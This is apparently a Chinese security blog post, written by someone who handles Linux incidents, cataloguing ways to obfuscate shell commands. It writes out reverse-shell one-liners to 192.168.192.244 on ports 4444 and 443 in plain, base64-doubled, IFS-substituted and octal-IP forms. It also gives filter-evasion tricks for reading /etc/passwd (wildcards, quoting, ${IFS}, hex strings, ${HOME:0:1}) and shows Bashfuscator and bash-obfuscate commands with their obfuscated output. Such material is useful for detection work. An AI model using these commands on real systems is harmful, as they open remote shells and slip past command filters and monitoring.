Linux命令混淆
因为工作中经常接触Linux机器的一些安全事件,所以记录一下Linux下常见的一些混淆姿势
一些常见反弹shell混淆
base64和短反弹
生成反弹
1 | echo "echo $(echo 'bash -i >& /dev/tcp/192.168.192.244/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g' |
短反弹
1 | (sh)0>/dev/tcp/192.168.192.244/443 |
路径和关键词屏蔽
问号和通配符
需要注意绝对路径
1 | /usr/bin/p?ng 127.0.0.1 |
1 | /usr/bin/who*mi |
通配符+文件名
1 | touch -- -alh #创建一个文件名为-al的文件 |
方括号内的字符[]
注意[]内的字符只能有一个
1 | /usr/bin/whoa[m]i |
引号和\
1 | "w"h"o"a'm'i |
#$0 代表Shell本身的文件名
未初始化的变量,Linux中等效null
1 | who${q}ami |
错误命令
注意这里是,而且
q`必须相同,然后会报错几次输出结果
1 | w`q`h`q`o`q`a`q`m`q`i |
历史连接
!-1 会输出最后一个命令和结果 !-2会输出倒数第二个命令和结果
1 | #拼接两次命令 |
\换行执行
1 | who\ |
空格屏蔽
花括号+,
1 | {cat,/etc/passwd} |
IFS替换空格
可以查看当前的shell变量
1 | set | grep IFS |
1 | cat${IFS}/etc/passwd |
十六进制
(\x20代表空格)
1 | X=$'cat\x20/etc/passwd'&&$X |
变量绕过
``内的内容在Linux就是执行一次 比如whoami
等效于whoami的结果
1 | IFS=];b=cat]/etc/passwd;$b |
未赋值的变量组合!
1 | $u $u |
斜杠屏蔽
几乎所有用户的home目录都是/root /xxx 这种形式,所以把home的/截取出来
HOME:0:1 0代表第一个字符,1代表长度
1 | cat ${HOME:0:1}etc${HOME:0:1}passwd |
十六进制编码
1 | cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"` |
整型IP
IP除了传统的点分十进制形如127.0.0.1,也可以使用整型IP格式
127.0.0.1 == 2130706433
或者是八进制这种bash -i >& /dev/tcp/030052140364/4444 0>&1
Linux命令混淆工具
Bashfuscator
https://github.com/Bashfuscator/Bashfuscator
安装
1 | git clone https://github.com/Bashfuscator/Bashfuscator |
使用
1 | bashfuscator -c "bash -i >& /dev/tcp/192.168.192.244/4444 0>&1" -o re.sh |
输出效果
bash-obfuscate
主要针对shell脚本进行混淆,注意到它是因为趋势的一篇报告
https://www.trendmicro.com/en_au/research/21/f/bash-ransomware-darkradiation-targets-red-hat–and-debian-based-linux-distributions.html
https://www.npmjs.com/package/bash-obfuscate
安装
1 | npm install -g bash-obfuscate |
使用
新建一个bash脚本,内容如下
1 | bash-obfuscate re.sh -o output.sh |
混淆后的效果
1 | z="";Fz='192.';Dz='dev/';Hz='244/';Ez='tcp/';Bz=' -i ';Az='bash';Kz='1';Iz='4444';Gz='168.';Jz=' 0>&';Cz='>& /';eval "$Az$Bz$Cz$Dz$Ez$Fz$Gz$Fz$Hz$Iz$Jz$Kz" |